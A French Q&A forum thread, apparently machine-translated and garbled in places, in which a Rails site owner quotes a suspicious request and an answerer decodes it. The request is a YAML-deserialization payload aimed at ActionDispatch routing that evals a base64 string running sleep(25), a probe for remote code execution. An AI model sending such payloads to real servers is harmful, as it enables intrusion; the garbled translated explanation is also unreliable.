RoR Demande de piratage. ---! ruby ​​/ hash \ u003aActionDispatch \ u003a \ u003aRouting \ u003a \ u003aRouteSet \ u003a \ u003aNamedRouteCollection

Question

Quelqu'un a essayé de 'vérifier' ma plate-forme. J'ai eu ce genre de demande:

---- !ruby/hash\u003aActionDispatch\u003a\u003aRouting\u003a\u003aRouteSet\u003a\u003aNamedRouteCollection 'NSFTW;eval(%[c2xlZXAoMjUp].unpack(%[m0])[0]);' \u003a !ruby/object\u003aOpenStruct table\u003a \u003adefaults\u003a {} 

La question est Qu'est-ce qu'il a essayé de faire? Quelles sont les attentes après cette demande?

Answer 1

hmmm, il ressemble à un code de rubis sérialisé YAML: Quelque chose comme

ActionDispatch :: :: Routing RouteSet :: NamedRouteCollection 'NSFTW, le sommeil (25);'

eval(%[c2xlZXAoMjUp].unpack(%[m0])[0]) run dans un irb -session sorties sleep(25)

et enfin, nous avons un objet OpenStruct ruby- nommé table et une propriété defaults.

Est-ce que cela correspond à tous les services offerts par votre plateforme?